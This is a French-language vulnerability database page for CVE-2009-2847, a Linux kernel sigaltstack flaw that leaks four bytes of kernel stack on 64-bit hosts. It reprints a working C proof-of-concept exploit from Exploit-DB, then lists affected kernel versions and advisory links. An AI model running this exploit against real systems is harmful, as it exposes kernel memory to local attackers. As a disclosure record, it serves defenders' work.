CVE-2009-2847 : Détail

CVE-2009-2847

0.04%V3
Local
2009-08-18
18h41 +00:00
2018-10-10
16h57 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

The do_sigaltstack function in kernel/signal.c in Linux kernel 2.4 through 2.4.37 and 2.6 before 2.6.31-rc5, when running on 64-bit systems, does not clear certain padding bytes from a structure, which allows local users to obtain sensitive information from the kernel stack via the sigaltstack function.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE Other No informations.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 4.9 AV:L/AC:L/Au:N/C:C/I:N/A:N [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 9352

Date de publication : 2009-08-03 22h00 +00:00
Auteur : Jon Oberheide
EDB Vérifié : Yes

/* * sigaltstack-leak.c * * Linux Kernel <= 2.6.31-rc5 sigaltstack 4-Byte Stack Disclosure * Jon Oberheide <[email protected]> * http://jon.oberheide.org * * Information: * * http://git.kernel.org/linus/0083fc2c50e6c5127c2802ad323adf8143ab7856 * * Ulrich Drepper correctly points out that there is generally padding in * the structure on 64-bit hosts, and that copying the structure from * kernel to user space can leak information from the kernel stack in those * padding bytes. * * Notes: * * Only 4 bytes of uninitialized kernel stack are leaked in the padding * between stack_t's ss_flags and ss_size. The disclosure only affects * affects 64-bit hosts. */ #include <stdio.h> #include <stddef.h> #include <stdlib.h> #include <string.h> #include <signal.h> #include <unistd.h> #include <time.h> #include <sys/syscall.h> #include <sys/types.h> const int randcalls[] = { 0, 1, 2, 3, 4, 5, 6, 8, 9, 10, 11, 13, 14, 16, 21, 22, 24, 25, 32, 33, 36, 37, 38, 39, 72, 73, 78, 79, 96, 97, 97, 102, 104, 105, 106, 107, 108, 109, 110, 11, 112, 113, 114, 116, 117, 118, 119, 120, 121, 121, 123, 124, 125, 140, 141, 143, 146 }; void dump(const unsigned char *p, unsigned l) { printf("stack_t:"); while (l > 0) { printf(" "); if (l == 12) { printf("*** "); } printf("%02x", *p); if (l == 9) { printf(" ***"); } ++p; --l; } printf("\n"); } int main(void) { char *p; int call, ret; size_t size, ftest, stest; stack_t oss; size = sizeof(stack_t); printf("[+] Checking platform...\n"); if (size == 24) { printf("[+] sizeof(stack_t) = %zu\n", size); printf("[+] Correct size, 64-bit platform.\n"); } else { printf("[-] sizeof(stack_t) = %zu\n", size); printf("[-] Error: you do not appear to be on a 64-bit platform.\n"); printf("[-] No information disclosure is possible.\n"); exit(1); } ftest = offsetof(stack_t, ss_flags) + sizeof(oss.ss_flags); stest = offsetof(stack_t, ss_size); printf("[+] Checking for stack_t hole...\n"); if (ftest != stest) { printf("[+] ss_flags end (%zu) != ss_size start (%zu)\n", ftest, stest); printf("[+] Hole in stack_t present!\n", ftest, stest); } else { printf("[-] ss_flags end (%zu) == ss_size start (%zu)\n", ftest, stest); printf("[-] Error: No hole in stack_t, something is quite wrong.\n"); exit(1); } printf("[+] Ready to call sigaltstack.\n\n"); for (ret = 5; ret > 0; ret--) { printf("%d...\n", ret); sleep(1); } srand(time(NULL)); while (1) { /* random stuff to make stack pseudo-interesting */ call = rand() % (sizeof(randcalls) / sizeof(int)); syscall(randcalls[call]); ret = sigaltstack(NULL, &oss); if (ret != 0) { printf("[-] Error: sigaltstack failed.\n"); exit(1); } dump((unsigned char *) &oss, sizeof(oss)); } return 0; } // milw0rm.com [2009-08-04]

Products Mentioned

Configuraton 0

Linux>>Kernel >> Version 2.6.24.7

    Linux>>Kernel >> Version 2.6.25.15

      Linux>>Linux_kernel >> Version To (including) 2.6.16.31

        Linux>>Linux_kernel >> Version 2.6

        Linux>>Linux_kernel >> Version 2.6.0

        Linux>>Linux_kernel >> Version 2.6.1

        Linux>>Linux_kernel >> Version 2.6.10

        Linux>>Linux_kernel >> Version 2.6.11

        Linux>>Linux_kernel >> Version 2.6.11.1

        Linux>>Linux_kernel >> Version 2.6.11.2

        Linux>>Linux_kernel >> Version 2.6.11.3

        Linux>>Linux_kernel >> Version 2.6.11.4

        Linux>>Linux_kernel >> Version 2.6.11.5

        Linux>>Linux_kernel >> Version 2.6.11.6

        Linux>>Linux_kernel >> Version 2.6.11.7

        Linux>>Linux_kernel >> Version 2.6.11.8

        Linux>>Linux_kernel >> Version 2.6.11.9

        Linux>>Linux_kernel >> Version 2.6.11.10

        Linux>>Linux_kernel >> Version 2.6.11.11

        Linux>>Linux_kernel >> Version 2.6.11.12

        Linux>>Linux_kernel >> Version 2.6.12

        Linux>>Linux_kernel >> Version 2.6.12.1

        Linux>>Linux_kernel >> Version 2.6.12.2

        Linux>>Linux_kernel >> Version 2.6.12.3

        Linux>>Linux_kernel >> Version 2.6.12.4

        Linux>>Linux_kernel >> Version 2.6.12.5

        Linux>>Linux_kernel >> Version 2.6.12.6

        Linux>>Linux_kernel >> Version 2.6.13

        Linux>>Linux_kernel >> Version 2.6.13.1

        Linux>>Linux_kernel >> Version 2.6.13.2

        Linux>>Linux_kernel >> Version 2.6.13.3

        Linux>>Linux_kernel >> Version 2.6.13.4

        Linux>>Linux_kernel >> Version 2.6.13.5

        Linux>>Linux_kernel >> Version 2.6.14

        Linux>>Linux_kernel >> Version 2.6.14.1

        Linux>>Linux_kernel >> Version 2.6.14.2

        Linux>>Linux_kernel >> Version 2.6.14.3

        Linux>>Linux_kernel >> Version 2.6.14.4

        Linux>>Linux_kernel >> Version 2.6.14.5

        Linux>>Linux_kernel >> Version 2.6.14.6

        Linux>>Linux_kernel >> Version 2.6.14.7

        Linux>>Linux_kernel >> Version 2.6.15

        Linux>>Linux_kernel >> Version 2.6.15.1

        Linux>>Linux_kernel >> Version 2.6.15.2

        Linux>>Linux_kernel >> Version 2.6.15.3

        Linux>>Linux_kernel >> Version 2.6.15.4

        Linux>>Linux_kernel >> Version 2.6.15.5

        Linux>>Linux_kernel >> Version 2.6.15.6

        Linux>>Linux_kernel >> Version 2.6.15.7

        Linux>>Linux_kernel >> Version 2.6.16

        Linux>>Linux_kernel >> Version 2.6.16.1

        Linux>>Linux_kernel >> Version 2.6.16.2

        Linux>>Linux_kernel >> Version 2.6.16.3

        Linux>>Linux_kernel >> Version 2.6.16.10

        Linux>>Linux_kernel >> Version 2.6.16.11

        Linux>>Linux_kernel >> Version 2.6.16.12

        Linux>>Linux_kernel >> Version 2.6.16.13

        Linux>>Linux_kernel >> Version 2.6.16.14

        Linux>>Linux_kernel >> Version 2.6.16.15

        Linux>>Linux_kernel >> Version 2.6.16.16

        Linux>>Linux_kernel >> Version 2.6.16.17

        Linux>>Linux_kernel >> Version 2.6.16.18

        Linux>>Linux_kernel >> Version 2.6.16.19

        Linux>>Linux_kernel >> Version 2.6.16.20

        Linux>>Linux_kernel >> Version 2.6.16.21

        Linux>>Linux_kernel >> Version 2.6.16.22

        Linux>>Linux_kernel >> Version 2.6.16.23

        Linux>>Linux_kernel >> Version 2.6.16.24

        Linux>>Linux_kernel >> Version 2.6.16.25

        Linux>>Linux_kernel >> Version 2.6.16.26

        Linux>>Linux_kernel >> Version 2.6.16.27

        Linux>>Linux_kernel >> Version 2.6.16.28

        Linux>>Linux_kernel >> Version 2.6.16.29

        Linux>>Linux_kernel >> Version 2.6.16.30

        Linux>>Linux_kernel >> Version 2.6.16.31

        Linux>>Linux_kernel >> Version 2.6.16.31

          Linux>>Linux_kernel >> Version 2.6.16.31

            Linux>>Linux_kernel >> Version 2.6.16.31

              Linux>>Linux_kernel >> Version 2.6.16.31

                Linux>>Linux >> Version *

                  Références

                  http://www.openwall.com/lists/oss-security/2009/08/04/1
                  Tags : mailing-list, x_refsource_MLIST
                  http://secunia.com/advisories/37471
                  Tags : third-party-advisory, x_refsource_SECUNIA
                  http://www.ubuntu.com/usn/USN-852-1
                  Tags : vendor-advisory, x_refsource_UBUNTU
                  http://rhn.redhat.com/errata/RHSA-2009-1243.html
                  Tags : vendor-advisory, x_refsource_REDHAT
                  http://secunia.com/advisories/36759
                  Tags : third-party-advisory, x_refsource_SECUNIA
                  http://www.openwall.com/lists/oss-security/2009/08/26/2
                  Tags : mailing-list, x_refsource_MLIST
                  http://secunia.com/advisories/36562
                  Tags : third-party-advisory, x_refsource_SECUNIA
                  http://www.exploit-db.com/exploits/9352
                  Tags : exploit, x_refsource_EXPLOIT-DB
                  http://secunia.com/advisories/36501
                  Tags : third-party-advisory, x_refsource_SECUNIA
                  http://www.openwall.com/lists/oss-security/2009/08/05/1
                  Tags : mailing-list, x_refsource_MLIST
                  http://www.redhat.com/support/errata/RHSA-2009-1438.html
                  Tags : vendor-advisory, x_refsource_REDHAT
                  http://www.vupen.com/english/advisories/2009/3316
                  Tags : vdb-entry, x_refsource_VUPEN
                  http://secunia.com/advisories/37105
                  Tags : third-party-advisory, x_refsource_SECUNIA
                  http://secunia.com/advisories/36136
                  Tags : third-party-advisory, x_refsource_SECUNIA